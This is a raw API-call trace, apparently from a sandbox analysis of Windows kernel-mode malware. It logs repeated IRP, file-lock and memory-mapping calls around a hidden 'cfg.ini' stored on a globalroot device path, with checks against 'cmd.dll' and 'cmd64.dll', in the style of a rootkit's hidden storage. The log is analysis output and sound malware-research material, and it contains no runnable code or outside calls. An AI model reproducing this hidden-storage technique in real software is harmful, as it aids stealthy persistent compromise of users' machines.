IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.265] ReleaseMutex (hMutex=0xf0) returned 1 [0124.265] Sleep (dwMilliseconds=0x124f80) [0124.279] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.279] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.279] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.279] KeEnterCriticalRegion () [0124.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.279] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.279] IdePortDispatch () returned 0x103 [0124.279] KeWaitForMutexObject () returned 0x0 [0124.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.280] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.280] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.280] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.280] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.280] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef390 [0124.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] KeLeaveCriticalRegion () [0124.280] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.280] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.280] KeEnterCriticalRegion () [0124.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] KeLeaveCriticalRegion () [0124.280] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.280] KeEnterCriticalRegion () [0124.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.280] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.280] IdePortDispatch () returned 0x103 [0124.280] KeWaitForMutexObject () returned 0x0 [0124.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] KeLeaveCriticalRegion () [0124.280] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.280] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.280] KeEnterCriticalRegion () [0124.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003528000 [0124.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.280] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.281] IdePortDispatch () returned 0x103 [0124.281] KeWaitForMutexObject () returned 0x0 [0124.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.281] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.281] IdePortDispatch () returned 0x103 [0124.281] KeWaitForMutexObject () returned 0x0 [0124.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.281] KeLeaveCriticalRegion () [0124.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.281] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.281] KeEnterCriticalRegion () [0124.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] KeLeaveCriticalRegion () [0124.282] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.282] KeEnterCriticalRegion () [0124.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.282] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] KeLeaveCriticalRegion () [0124.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.282] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.282] KeEnterCriticalRegion () [0124.282] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] ExFreePoolWithTag (P=0xfffffa8003bef390, Tag=0x0) [0124.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.282] KeLeaveCriticalRegion () [0124.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.282] ReleaseMutex (hMutex=0xf0) returned 1 [0124.282] Sleep (dwMilliseconds=0x124f80) [0124.297] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.297] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.297] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.297] KeEnterCriticalRegion () [0124.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.297] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.297] IdePortDispatch () returned 0x103 [0124.297] KeWaitForMutexObject () returned 0x0 [0124.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] KeLeaveCriticalRegion () [0124.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.298] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.298] KeEnterCriticalRegion () [0124.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] KeLeaveCriticalRegion () [0124.298] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.298] KeEnterCriticalRegion () [0124.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.298] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.298] IdePortDispatch () returned 0x103 [0124.298] KeWaitForMutexObject () returned 0x0 [0124.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] KeLeaveCriticalRegion () [0124.298] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.298] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.298] KeEnterCriticalRegion () [0124.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352d000 [0124.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.298] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.298] IdePortDispatch () returned 0x103 [0124.299] KeWaitForMutexObject () returned 0x0 [0124.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.299] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.299] IdePortDispatch () returned 0x103 [0124.299] KeWaitForMutexObject () returned 0x0 [0124.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.299] KeLeaveCriticalRegion () [0124.299] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.299] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.299] KeEnterCriticalRegion () [0124.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.299] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.299] KeLeaveCriticalRegion () [0124.299] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.300] KeEnterCriticalRegion () [0124.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.300] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.300] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.300] KeLeaveCriticalRegion () [0124.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.300] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.300] KeEnterCriticalRegion () [0124.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.300] ExFreePoolWithTag (P=0xfffffa8003beffb0, Tag=0x0) [0124.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.300] KeLeaveCriticalRegion () [0124.300] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.300] ReleaseMutex (hMutex=0xf0) returned 1 [0124.300] Sleep (dwMilliseconds=0x124f80) [0124.314] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.314] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.314] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.314] KeEnterCriticalRegion () [0124.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.314] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.314] IdePortDispatch () returned 0x103 [0124.314] KeWaitForMutexObject () returned 0x0 [0124.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.315] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.315] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.315] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.315] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.315] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf02e0 [0124.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] KeLeaveCriticalRegion () [0124.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.315] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.315] KeEnterCriticalRegion () [0124.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] KeLeaveCriticalRegion () [0124.315] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.315] KeEnterCriticalRegion () [0124.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.315] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.315] IdePortDispatch () returned 0x103 [0124.315] KeWaitForMutexObject () returned 0x0 [0124.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] KeLeaveCriticalRegion () [0124.315] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.315] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.315] KeEnterCriticalRegion () [0124.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003532000 [0124.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.315] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.315] IdePortDispatch () returned 0x103 [0124.316] KeWaitForMutexObject () returned 0x0 [0124.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.316] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.316] IdePortDispatch () returned 0x103 [0124.316] KeWaitForMutexObject () returned 0x0 [0124.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.316] KeLeaveCriticalRegion () [0124.316] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.316] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.316] KeEnterCriticalRegion () [0124.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] KeLeaveCriticalRegion () [0124.317] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.317] KeEnterCriticalRegion () [0124.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.317] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] KeLeaveCriticalRegion () [0124.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.317] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.317] KeEnterCriticalRegion () [0124.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] ExFreePoolWithTag (P=0xfffffa8003bf02e0, Tag=0x0) [0124.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] KeLeaveCriticalRegion () [0124.317] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.317] ReleaseMutex (hMutex=0xf0) returned 1 [0124.317] Sleep (dwMilliseconds=0x124f80) [0124.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.336] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.336] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.336] KeEnterCriticalRegion () [0124.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.337] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.337] IdePortDispatch () returned 0x103 [0124.338] KeWaitForMutexObject () returned 0x0 [0124.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.338] KeLeaveCriticalRegion () [0124.338] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.338] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.338] KeEnterCriticalRegion () [0124.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.338] KeLeaveCriticalRegion () [0124.338] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: 